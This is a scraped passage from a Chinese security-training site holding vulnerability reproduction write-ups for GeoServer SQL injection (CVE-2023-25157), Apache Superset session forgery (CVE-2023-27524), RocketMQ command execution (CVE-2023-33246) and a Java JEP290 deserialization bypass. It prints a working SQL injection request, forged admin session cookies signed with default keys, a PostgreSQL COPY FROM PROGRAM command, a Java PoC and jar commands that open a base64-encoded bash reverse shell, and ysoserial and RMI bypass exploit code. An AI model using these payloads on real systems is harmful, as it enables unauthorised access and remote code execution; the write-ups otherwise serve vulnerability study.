Web服务器规范的J2EE实现,通过它可以方便的将地图数据发布为地图服务,实现地理空间数据在用户之间的共享。\r\n\r\n影响版本\r\n\r\ngeoserver\u003C2.18.7\r\n\r\n2.19.0\u003C=geoserver\u003C2.19.7\r\n\r\n2.20.0\u003C=geoserver\u003C2.20.7\r\n\r\n2.21.0\u003C=geoserver\u003C2.21.4\r\n\r\n2.22.0\u003C=geoserver\u003C2.22.2\r\n\r\n环境搭建\r\n\r\n安装方式有多种可以选择\r\n\r\nwindwos下载安装\r\n\r\nhttps:\u002F\u002Fsourceforge.net\u002Fprojects\u002Fgeoserver\u002Ffiles\u002FGeoServer\u002F2.22.0\u002FGeoServer-2.22.0-winsetup.exe\u002Fdownload下载后只需要指定端口直接下载可完成安装\r\n\r\nwar包安装\r\n\r\ntomcat下载地址\r\n\r\nhttps:\u002F\u002Fdlcdn.apache.org\u002Ftomcat\u002Ftomcat-8\u002Fv8.5.90\u002Fbin\u002Fapache-tomcat-8.5.90-windows-x64.zipgeoserver下载地址\r\n\r\nhttps:\u002F\u002Fsourceforge.net\u002Fprojects\u002Fgeoserver\u002Ffiles\u002FGeoServer\u002F2.23.1\u002Fgeoserver-2.23.1-war.zip解压下载后的文件geoserver-2.15.1-war.zip,得到geoserver.war\r\n\r\n把此geoserver.war文件拷贝到tomcat根目录下的webapps文件夹下。\r\n\r\n启动tomcat\r\n\r\n访问路径,默认端口为8080,端口根据自己的需求开放即可,这里我开放的端口为8081\r\n\r\nhttp:\u002F\u002Flocalhost:8081\u002Fgeoserver\u002Fweb\u002F\r\n\r\n分析\r\n\r\nPOC下载链接\r\n\r\nhttps:\u002F\u002Fgithub.com\u002Fwin3zz\u002FCVE-2023-25157python3 CVE-2023-25157.py http:\u002F\u002Flocalhost:8081\r\n\r\n查看提交的补丁分析一下漏洞\r\n\r\nhttps:\u002F\u002Fgithub.com\u002Fgeoserver\u002Fgeoserver\u002Fcommit\u002F145a8af798590288d270b240235e89c8f0b62e1d修改了配置文件src\u002Fcommunity\u002Fjdbcconfig\u002Fsrc\u002Fmain\u002Fjava\u002Forg\u002Fgeoserver\u002Fjdbcconfig\u002Finternal\u002FConfigDatabase.java\r\n\r\n重新添加了模块org.geoserver.jdbcloader.JDBCLoaderProperties模块用于配置文件jdbcconfig\u002Fjdbcconfig.properties中的 JDBCConfig 模块\r\n\r\n属性字段并更改了构造函数以包含此属性字段。这允许对数据库配置进行更多自定义,从而可能允许增强安全措施。https:\u002F\u002Fdocs.spring.io\u002Fspring-framework\u002Fdocs\u002Fcurrent\u002Fjavadoc-api\u002Forg\u002Fspringframework\u002Fjdbc\u002Fcore\u002Fnamedparam\u002FNamedParameterJdbcTemplate.html是 Spring Framework 提供的一个类,它添加了对使用命名参数对 JDBC 语句进行编程的支持,而不是使用经典占位符 ('?') 参数对 JDBC 语句进行编程\r\n\r\npublic ConfigDatabase(\r\n            JDBCLoaderProperties properties,\r\n            DataSource dataSource,\r\n            XStreamInfoSerialBinding binding) {\r\n        this(properties, dataSource, binding, null);\r\n   }\r\n \r\n    public ConfigDatabase(\r\n            JDBCLoaderProperties properties,\r\n            final DataSource dataSource,\r\n            final XStreamInfoSerialBinding binding,\r\n            CacheProvider cacheProvider) {\r\n \r\n        this.properties = properties;\r\n        this.binding = binding;\r\n        this.template = new NamedParameterJdbcTemplate(dataSource);\r\n\r\n通过使用参数化查询而不是字符串连接\r\n\r\nsrc\u002Fcommunity\u002Fjdbcconfig\u002Fsrc\u002Fmain\u002Fjava\u002Forg\u002Fgeoserver\u002Fjdbcconfig\u002Finternal\u002FOracleDialect.java在插入中做了修改\r\n\r\n         \u002F\u002Fsql.insert(0, \"SELECT * FROM (SELECT query.*, rownum rnum FROM (\\n\");\r\n         \u002F\u002Fsql.append(\") query\\n\");\r\n           sql.insert(\r\n                   0,\r\n                   \"SELECT * FROM (SELECT query.*, rownum rnum FROM (\"\r\n                           + (isDebugMode() ? \"\\n\" : \"\"));\r\n           sql.append(\") query\");\r\n           appendIfDebug(sql, \"\\n\", \" \");\r\n\r\n修改了插入语法,其方法在src\u002Fcommunity\u002Fjdbcconfig\u002Fsrc\u002Fmain\u002Fjava\u002Forg\u002Fgeoserver\u002Fjdbcconfig\u002Finternal\u002FDialect.java\r\n\r\n中定义\r\n\r\n public boolean isDebugMode() {\r\n        return debugMode;\r\n   }\r\n \r\n    public void setDebugMode(boolean debugMode) {\r\n        this.debugMode = debugMode;\r\n   }\r\n \r\n    \u002F** Escapes the contents of the SQL comment to prevent SQL injection. *\u002F\r\n    public String escapeComment(String comment) {\r\n        String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll(\"*\\\\\\\\\u002F\");\r\n        return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll(\"\u002F\\\\\\\\*\");\r\n   }\r\n \r\n    \u002F** Appends the objects to the SQL in a comment if debug mode is enabled. *\u002F\r\n    public StringBuilder appendComment(StringBuilder sql, Object... objects) {\r\n        if (!debugMode) {\r\n            return sql;\r\n       }\r\n        sql.append(\" \u002F* \");\r\n        for (Object object : objects) {\r\n            sql.append(escapeComment(String.valueOf(object)));\r\n       }\r\n        return sql.append(\" *\u002F\\n\");\r\n   }\r\n \r\n    \u002F** Appends the objects to the SQL in an comment if debug mode is enabled. *\u002F\r\n    public StringBuilder appendComment(Object sql, Object... objects) {\r\n        return appendComment((StringBuilder) sql, objects);\r\n   }\r\n \r\n    \u002F** Appends one of the strings to the SQL depending on whether debug mode is enabled. *\u002F\r\n    public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {\r\n        return sql.append(debugMode ? ifEnabled : ifDisabled);\r\n   }\r\n\r\n获取功能名POC\r\n\r\nGET \u002Fgeoserver\u002Fows?service=WFS&version=1.0.0&request=GetCapabilities HTTP\u002F1.1\r\nHost: 10.10.12.35:8081\r\nUser-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\u002F20100101 Firefox\u002F114.0\r\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,*\u002F*;q=0.8\r\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\nAccept-Encoding: gzip, deflate\r\nConnection: close\r\nCookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0\r\nUpgrade-Insecure-Requests: 1\r\n\r\n获取功能属性POC\r\n\r\nGET \u002Fgeoserver\u002Fows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines&maxFeatures=1&outputFormat=json HTTP\u002F1.1\r\nHost: 10.10.12.35:8081\r\nUser-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\u002F20100101 Firefox\u002F114.0\r\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,*\u002F*;q=0.8\r\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\nAccept-Encoding: gzip, deflate\r\nConnection: close\r\nCookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0\r\nUpgrade-Insecure-Requests: 1\r\n\r\n构造恶意payload\r\n\r\nGET \u002Fgeoserver\u002Fows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines=strStartsWith%28scalerank%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP\u002F1.1\r\nHost: 10.10.12.35:8081\r\nUser-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\u002F20100101 Firefox\u002F114.0\r\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,*\u002F*;q=0.8\r\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\nAccept-Encoding: gzip, deflate\r\nConnection: close\r\nCookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0\r\nUpgrade-Insecure-Requests: 1\r\n\r\n这里引用一张图,geotools的注入漏洞\r\n\r\n漏洞编号CVE-2023-25158,查看补丁发现\r\n\r\n在类中添加该escapeBackslash字段https:\u002F\u002Fgithub.com\u002Fgeotools\u002Fgeotools\u002Fcommit\u002F64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e是一种预防措施,可防止某些形式的 SQL 注入,其中反斜杠字符用于转义 SQL 语法中的特殊字符\r\n\r\n \u002F\u002F single quotes must be escaped to have a valid sql string\r\n String escaped = escapeLiteral(encoding);\r\n\r\n调用类escapeLiteral()中的方法EscapeSql.java。此方法旨在不仅转义单引号,还转义反斜杠,并可能根据其参数转义双引号\r\n\r\n public static String escapeLiteral(\r\n           String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {\r\n           \u002F\u002F ' --\u003E ''\r\n           String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll(\"''\");\r\n           if (escapeBackslash) {\r\n               \u002F\u002F \\ --\u003E \\\\\r\n               escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll(\"\\\\\\\\\\\\\\\\\");\r\n           }\r\n           if (escapeDoubleQuote) {\r\n               \u002F\u002F \" --\u003E \\\"\r\n               escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll(\"\\\\\\\\\\\"\");\r\n           }\r\n           return escaped;\r\n\r\n至于为什么会聊到CVE-2023-25158,这里就要聊到Geoserver和Geotools的关系了,可以参考这篇文章\r\n\r\nhttps:\u002F\u002Fblog.csdn.net\u002Fnmj2008\u002Farticle\u002Fdetails\u002F113869086修复方案\r\n\r\n升级安全版本,目前已经有最新版本。",pic:"https:\u002F\u002Fm-1254331109.cos.ap-guangzhou.myqcloud.com\u002F202306211116063.png",openTime:"2023-06-21T16:16:38+08:00",viewsNum:4581},{id:"20230620103836",type:a,title:"Apache Superset 身份认证绕过漏洞(CVE-2023-27524)",abstract:"漏洞简介\r\n\r\nApache Superset是一个开源的数据可视化和数据探测平台,它基于Python构建,使用了一些类似于Django和Flask的Python web框架。提供了一个用户友好的界面,可以轻松地创建和共享仪表板、查询和可视化数据,也可以集成到其他应用程序中。由于用户在默认安装过程中,未对SECRET_KEY的默认值进行更改,未经身份验证的攻击者通过伪造管理员身份进行访问后台,并通过后台原本数据库执行功能实现命令执行操作。‍\r\n\r\n环境搭建\r\n\r\n可以通过 fofa 来搜索相关网站\r\n\r\n\"Apache Superset\"\r\n\r\n 这里我们通过 docker 来在本地搭建环境\r\n\r\n git clone https:\u002F\u002Fgithub.com\u002Fapache\u002Fsuperset.git\r\ncd superset\r\ngit checkout 2.0.0\r\nTAG=2.0.0 docker-compose -f docker-compose-non-dev.yml pull\r\nTAG=2.0.0 docker-compose -f docker-compose-non-dev.yml up\r\n\r\n官网提供的方法 并没有搭建成功,还是直接在docker 仓库中查找\r\n\r\nhttps:\u002F\u002Fhub.docker.com\u002Fr\u002Fapache\u002Fsuperset\u002Ftags?page=1&ordering=last_updated&name=2.0.0&& docker pull apache\u002Fsuperset:2.0.0\r\ndocker exec -it superset superset fab create-admin --username admin --firstname Superset --lastname Admin --email admin@superset.com --password admin\r\ndocker exec -it superset superset db upgrade\r\ndocker exec -it superset superset load_examples\r\ndocker exec -it superset superset init\r\n\r\n 漏洞复现\r\n\r\n利用脚本检测是否存在漏洞并生成相对应的 cookie\r\n\r\n访问主页抓取数据包\r\n\r\n将生成的 session 替换原本的 session \r\n\r\n 成功登录\r\n\r\n接下来就是想办法 getshell 网络上的文章上是通过后台数据库执行语句来获取权限。\r\n\r\n经过复现分析,发现存在的问题还比较多,首先是默认情况下执行语句仅仅支持 SELECT ,需要修改数据库的权限允许其他的一些语句(but 一些版本上是没有对数据库的操作权限的),然后就是获取的权限,本质上也只是获取了数据库的执行权限,数据库有可能并不与 superset 在同一服务器上,再有就是需要数据库本身也需要存在漏洞才可以,我这里选取了 (CVE-2019-9193)PostgreSQL 高权限命令执行漏洞来复现漏洞。\r\n\r\n DROP TABLE IF EXISTS cmd_exec;\r\nCREATE TABLE cmd_exec(cmd_output text);\r\nCOPY cmd_exec FROM PROGRAM 'id';\r\nSELECT * FROM cmd_exec;\r\n\r\n 漏洞分析\r\n\r\n感觉这个漏洞有点像前段时间爆出来的 nacos 身份认证绕过漏洞 存在默认的密钥\r\n\r\nSECRET_KEYS = [\r\n   b'\\x02\\x01thisismyscretkey\\x01\\x02\\\\e\\\\y\\\\y\\\\h',  # version \u003C 1.4.1\r\n   b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version \u003E= 1.4.1\r\n   b'thisISaSECRET_1234',                            # deployment template\r\n   b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation\r\n   b'TEST_NON_DEV_SECRET'                            # docker compose\r\n]\r\n\r\nSuperset 是用 Python 编写的,基于 Flask Web 框架。基于 Flask 的应用程序的常见做法是使用加密签名的会话 cookie 进行用户状态管理。当用户登录时,Web 应用程序将包含用户标识符的会话 cookie 发送回最终用户的浏览器。Web 应用程序使用 SECERT_KEY 对 cookie 进行签名,该值应该时随机生成的,通常存储在本地配置文件中,对于每个 Web 请求,浏览器都会将已签名的会话 cookie 发送回应用程序,然后应用程序验证 cookie 上的签名以处理请求之前重新验证用户。\r\n\r\n整段描述下面我感觉跟 JWT 的相关验证方式差不太多,我们具体来操作看看。\r\n\r\n首先就是请求的时候我们可以看到 cookie 值 可以解码成功,通过爆破(当然我们这里是已经已知这个 key 值),伪造生成用户的 cookie,替换数据包中的cookie 值,就成功登录成功,之后再次请求的时候,发现我们添加的字段已经被保存在 session 值中\r\n\r\n\u003E\u003E\u003E from flask_unsign import session\r\n\u003E\u003E\u003E session.decode(\"eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiOGUzOTdiZTQ2ZjVlZjJiYTc1NjI4MWQxODE2NTAyMWEzMzcxYjI3OCIsImxvY2FsZSI6ImVuIn0.ZJAEeQ.wVfrGzupbWdw4R1OlzUwUqhGMMY\")\r\n{'_fresh': False, 'csrf_token': '8e397be46f5ef2ba756281d18165021a3371b278', 'locale': 'en'}\r\n\u003E\u003E\u003E session.sign({'_user_id': 1, 'user_id': 1},'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET')\r\n'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZJAFNg.oWyP7v-1l0qOHFOMjSd-cFiVQLY'\r\n\u003E\u003E\u003E session.decode(\".eJxFzEEOhCAQBMC_9JmDwMZBPkOUaaKRaALuabN_15sPqPohlca-Ipa5dhqkb2dLmyJag9xbSde580CEjoHiQlYOlt4VDVMe3CjTRxYv3i_qGEQsDOqZ58rHPNDgHf83roYh1w.ZJAFVw.IwmWyTU1bvoY2nhlFYdmwXNNtTM\")\r\n{'_fresh': False, '_user_id': 1, 'csrf_token': 'd68e728cde01e32fd89c0267947b3733bd2e8771', 'locale': 'en', 'user_id': 1}\r\n\r\n 漏洞修复\r\n\r\n拒绝在非调试环境中使用默认密码启动\r\n\r\n ‍",pic:"https:\u002F\u002Fm-1254331109.cos.ap-guangzhou.myqcloud.com\u002F202306191632925.png",openTime:"2023-06-20T10:38:45+08:00",viewsNum:4026},{id:"20230616175934",type:a,title:"CVE-2023-33246命令执行复现分析",abstract:"RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。既可为分布式应用系统提供异步解耦和削峰填谷的能力,同时也具备互联网应用所需的海量消息堆积、高吞吐、可靠重试等特性。\r\n\r\n影响版本\r\n\r\n\u003C=RocketMQ 5.1.0\r\n\r\n\u003C=RocketMQ 4.9.5\r\n\r\n环境搭建\r\n\r\ndocker pull apache\u002Frocketmq:4.9.4\r\n\r\nroot@ubuntu:\u002Fhome\u002Fubuntu\u002FDesktop# docker run -d --name rmqnamesrv -p 9876:9876 apache\u002Frocketmq:4.9.4 sh mqnamesrv     \u002F\u002F起nameserver\r\n\r\n创建broker.conf,并且修改配置文件内容\r\n\r\nroot@ubuntu:\u002Fhome\u002Fubuntu\u002FDesktop# docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e \"NAMESRV_ADDR=namesrv:9876\" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache\u002Frocketmq:4.9.4 sh mqbroker -c \u002Fhome\u002Frocketmq\u002Frocketmq-4.9.4\u002Fconf\u002Fbroker.conf   \u002F\u002F起Broker\r\n\r\ndocker ps\r\n\r\nhttp:\u002F\u002F127.0.0.1:10912\u002Fpython3 check.py --ip 10.10.14.72 --port 9876\r\n\r\npython3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 10.10.14.72 10911 wget  10.10.14.162:8666\u002F1.txt\r\n\r\n使用vulhub直接搭建可能效果好一点儿,否则,不知道为什么在漏洞利用执行上面命令的时候无回显,可能exp的问题\r\n\r\ncd vulhub\u002Frocketmq\u002FCVE-2023-33246\r\ndocker-compose up -d\r\n\r\nPOC如下\r\n\r\nimport org.apache.rocketmq.tools.admin.DefaultMQAdminExt;\r\n \r\nimport java.util.Base64;\r\nimport java.util.Properties;\r\n \r\npublic class poc {\r\n    private static String getCmd(String ip, String port) {\r\n        String cmd = \"bash -i \u003E& \u002Fdev\u002Ftcp\u002F\" + ip + \"\u002F\" + port + \" 0\u003E&1\";\r\n        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());\r\n        return \"-c $@|sh . echo echo \\\"\" + cmdBase + \"\\\"|base64 -d|bash -i;\";\r\n   }\r\n \r\n    public static void main(String[] args) throws Exception {\r\n        String targetHost = \"目的IP\";\r\n        String targetPort = \"10911\";\r\n    \r\n        String shellHost = \"VPSIP\";\r\n        String shellPort = \"Listen-port\";\r\n    \r\n        String targetAddr = String.format(\"%s:%s\",targetHost,targetPort);\r\n        Properties props = new Properties();\r\n        props.setProperty(\"rocketmqHome\", getCmd(shellHost,shellPort));\r\n        props.setProperty(\"filterServerNums\", \"1\");\r\n        \u002F\u002F 创建 DefaultMQAdminExt 对象并启动\r\n        DefaultMQAdminExt admin = new DefaultMQAdminExt();\r\n \r\n\u002F\u002F       admin.setNamesrvAddr(\"0.0.0.0:12345\");\r\n        admin.start();\r\n        \u002F\u002F 更新配置⽂件\r\n        admin.updateBrokerConfig(targetAddr, props);\r\n        Properties brokerConfig = admin.getBrokerConfig(targetAddr);\r\n        System.out.println(brokerConfig.getProperty(\"rocketmqHome\"));\r\n        System.out.println(brokerConfig.getProperty(\"filterServerNums\"));\r\n        \u002F\u002F 关闭 DefaultMQAdminExt 对象\r\n        admin.shutdown();\r\n   }\r\n}\r\n\r\n使用IDEA创建maven项目,创建xml文件下载依赖,下载地址\r\n\r\nhttps:\u002F\u002Fmvnrepository.com\u002Fartifact\u002Forg.apache.rocketmq\u002Frocketmq-tools\u002F4.9.4\u003C!-- https:\u002F\u002Fmvnrepository.com\u002Fartifact\u002Forg.apache.rocketmq\u002Frocketmq-tools --\u003E\r\n\u003Cdependency\u003E\r\n    \u003CgroupId\u003Eorg.apache.rocketmq\u003C\u002FgroupId\u003E\r\n    \u003CartifactId\u003Erocketmq-tools\u003C\u002FartifactId\u003E\r\n    \u003Cversion\u003E4.9.4\u003C\u002Fversion\u003E\r\n\u003C\u002Fdependency\u003E\r\n\r\n修改POC\r\n\r\nimport org.apache.rocketmq.tools.admin.DefaultMQAdminExt;\r\n \r\nimport java.util.Base64;\r\nimport java.util.Properties;\r\n \r\npublic class poc {\r\n    private static String getCmd(String ip, String port) {\r\n        String cmd = \"bash -i \u003E& \u002Fdev\u002Ftcp\u002F\" + ip + \"\u002F\" + port + \" 0\u003E&1\";\r\n        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());\r\n        return \"-c $@|sh . echo echo \\\"\" + cmdBase + \"\\\"|base64 -d|bash -i;\";\r\n   }\r\n \r\n    public static void main(String[] args) throws Exception {\r\n        String targetHost = \"10.10.14.72\";\r\n        String targetPort = \"10911\";\r\n    \r\n        String shellHost = \"10.10.14.72\";\r\n        String shellPort = \"65532\";\r\n    \r\n        String targetAddr = String.format(\"%s:%s\",targetHost,targetPort);\r\n        Properties props = new Properties();\r\n        props.setProperty(\"rocketmqHome\", getCmd(shellHost,shellPort));\r\n        props.setProperty(\"filterServerNums\", \"1\");\r\n        \u002F\u002F 创建 DefaultMQAdminExt 对象并启动\r\n        DefaultMQAdminExt admin = new DefaultMQAdminExt();\r\n \r\n\u002F\u002F       admin.setNamesrvAddr(\"0.0.0.0:12345\");\r\n        admin.start();\r\n        \u002F\u002F 更新配置⽂件\r\n        admin.updateBrokerConfig(targetAddr, props);\r\n        Properties brokerConfig = admin.getBrokerConfig(targetAddr);\r\n        System.out.println(brokerConfig.getProperty(\"rocketmqHome\"));\r\n        System.out.println(brokerConfig.getProperty(\"filterServerNums\"));\r\n        \u002F\u002F 关闭 DefaultMQAdminExt 对象\r\n        admin.shutdown();\r\n   }\r\n}\r\n\r\n反弹结果\r\n\r\ngit clone https:\u002F\u002Fgithub.com\u002FSuperZero\u002FCVE-2023-33246.git\r\njava -jar CVE-2023-33246.jar -ip \"127.0.0.1:10911\" -cmd \"222 \u003E\u002Froot\u002F2.txt\"\r\n\r\n进入容器,查看根部录下文件是已写入\r\n\r\njava -jar CVE-2023-33246.jar -ip \"127.0.0.1:10911\" -cmd \"bash -i \u003E& \u002Fdev\u002Ftcp\u002F10.10.14.72\u002F65532 0\u003E&1\"\r\n\r\n反弹shell\r\n\r\n漏洞分析\r\n\r\n启动broker路由如下:\r\n\r\nmain:50, BrokerStartup (org.apache.rocketmq.broker)\r\nstart:55, BrokerStartup (org.apache.rocketmq.broker) \r\nstart:1570, BrokerController (org.apache.rocketmq.broker) \r\nstartBasicService:1527, BrokerController (org.apache.rocketmq.broker) \r\nstart:57, FilterServerManager (org.apache.rocketmq.broker.filtersrv)\r\n\r\n当在函数org.apache.rocketmq.broker.filtersrv.FilterServerManager61行\r\n\r\n调用下面的createFilterServer方法,71行中看到从配置文件中获取参数。72行调用方法buildStartCommand\r\n\r\n该方法中取到变量NamesrvAddr和 RocketmqHome,获取之后进行拼接cmd,在72行拿到拼接后的cmd\r\n\r\n进入for循环后在org.apache.rocketmq.broker.filtersrv.FilterServerUtil中给的callshell方法去执行命令\r\n\r\n该中间件本来就是每30秒执行一次,漏洞产生的就是修改了配置文件,变量被赋值为了恶意命令,导致了命令执行。",pic:"https:\u002F\u002Fm-1254331109.cos.ap-guangzhou.myqcloud.com\u002F202306161415708.png",openTime:"2023-06-16T17:59:56+08:00",viewsNum:4106}]},systemName:"蚁景网安 - 网络安全人才培养服务提供商",loginUser:void 0,cacheFlag:"1fb96caedc8ae227b3dff345bd9ef09f",isMobileDevice:false}}("specialized"))
浅谈 JEP290
0x01 前言 属于是拖了很久的文章了,4.18 筹划着开始写,6.22 左右才真正开始提笔。 一开始提到这个概念可能会比较懵逼,其实这就是为什么高版本 jdk 有部分能打 jndi,打不了 RMI 8u121 ~ 8u230 打不了 RMI 0x02 关于 JEP290 JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案,主要做了以下几件事 1、提供一个限制反序列化类的机制,白名单或者黑名单。2、限制反序列化的深度和复杂度。3、为 RMI 远程调用对象提供了一个验证类的机制。4、定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。 官方从 8u121,7u13,6u141 分别支持了这个 JEP 0x03 JEP290 防御手段分析 先起一个 RMI 的服务,代码详见 —— https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/RMI 尝试去攻击,这里会报错,报错部分信息为 java.io.ObjectInputStream filterCheck 信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler 可以先看一下官方文档对于 JEP290 的描述 http://openjdk.java.net/jeps/290 我们很容易通过描述来看对应增加的 Filter 点是什么,如图找到了 ObjectInputFilter 相关的类 我这里去看了看 ObjectInputFilter 相关的类,断点是下不去的,所以去到控制台去看,发现在 RegistryImpl_Skel 类中也存在报错现象,而这个类在 RMI 中是用来做反序列化的方法的。 跟进,ObjectInputStream 类调用了 readObject0() 方法,继续跟进 先获取输入当中 blkmode,如果数据为 true,则继续进行后续判断,后续做了一部分的数据处理工作,我们直接来看最重要的地方 1573 行,调用了 checkResolve() 方法,跟进 跟进 readClassDesc() 方法,这个方法主要是读取并返回类描述符,并判断这一类描述符是否可以解析为本地 VM 中的类。 在 readClassDesc() 方法中,判断 tc 所对应的类型,这里跟进 readProxyDesc() 方法 readProxyDesc() 方法做完一系列基础判断之后调用了 filterCheck() 方法,跟进 而 filterCheck() 方法又调用了 checkInput() 方法,这里应该是最终来判断输入是否合法的地方。 这里的判断会进行两次,一个是开启 JVM 的 java.rmi.Remote 类,另一个是我们放入的恶意利用类 sun.reflect.annotation.AnnotationInvocationHandler,第一次会先判断 java.rmi.Remote 类是否合法 对应的判断代码,其实也就是白名单了。代码会首先判断 var2 是否等于 String 类型。如果不是,则继续判断它是否满足下列几个条件中的任意一个: return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var 而这里,我们的 sun.reflect.annotation.AnnotationInvocationHandler 类并不在这些白名单中,所以会被过滤 0x04 JEP290 绕过 这里我们可以先看一下白名单里面都能过什么,白名单如下 String.class Number.class Remote.class Proxy.class UnicastRef.class RMIClientSocketFactory.class RMIServerSocketFactory.class ActivationID.class UID.class 这里我觉得还是得从它在 JDK8u221 的具体环境下的流程分析入手,看一下在攻击流程之后哪里可以能够被利用,哪里可以 bypass 绕过利用 思考了在 RMI 的流程当中,哪一步能够绕过 JEP290 的检测,最终是 JRMP 的这一步,能够绕过,从原理图来说的话应该是这样 先用 ysoserial 开启 JRMP 3333 端口的监听 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc" 然后编写 RMI 的 EXP import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; public class BypassJEP290 {    public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {        Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222        ObjID id = new ObjID(new Random().nextInt());        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);        Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] {                Registry.class       }, obj);        reg.bind("Hello",proxy);   } } 这个 payload 的原理就是伪造了一个 UnicastRef 用于跟注册中心通信,我们从 bind() 方法开始分析一下这一整个流程。 绕过分析 我们通过 getRegistry 时获得的注册中心,其实就是一个封装了 UnicastServerRef 对象的对象 当我们调用 bind 方法后,会通过 UnicastRef 对象中存储的信息与注册中心进行通信 这里会通过 ref 与注册中心通信,并将绑定的对象名称以及要绑定的远程对象发过去,注册中心在后续会对应进行反序列化 接着来看看 yso 中的 JRMPClient 是做了什么操作 ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {    Registry.class }, obj); return proxy; 这里返回了一个代理对象,上面用的这些类都在白名单里,当注册中心反序列化时,会调用到RemoteObjectInvacationHandler父类RemoteObject的readObject方法(因为RemoteObjectInvacationHandler没有readObject方法),在readObject里的最后一行会调用ref.readExternal方法,并将ObjectInputStream传进去: 这里的调用栈非常长,总体上来说就是在做我上面所说的工作,调用栈如下 readObject:455, RemoteObject (java.rmi.server) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1170, ObjectStreamClass (java.io) readSerialData:2178, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) defaultReadFields:2287, ObjectInputStream (java.io) readSerialData:2211, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io)     // 从此处开始,会遇到很多字节码不匹配的问题 dispatch:92, RegistryImpl_Skel (sun.rmi.registry) oldDispatch:469, UnicastServerRef (sun.rmi.server) dispatch:301, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:573, TCPTransport (sun.rmi.transport.tcp) run0:834, 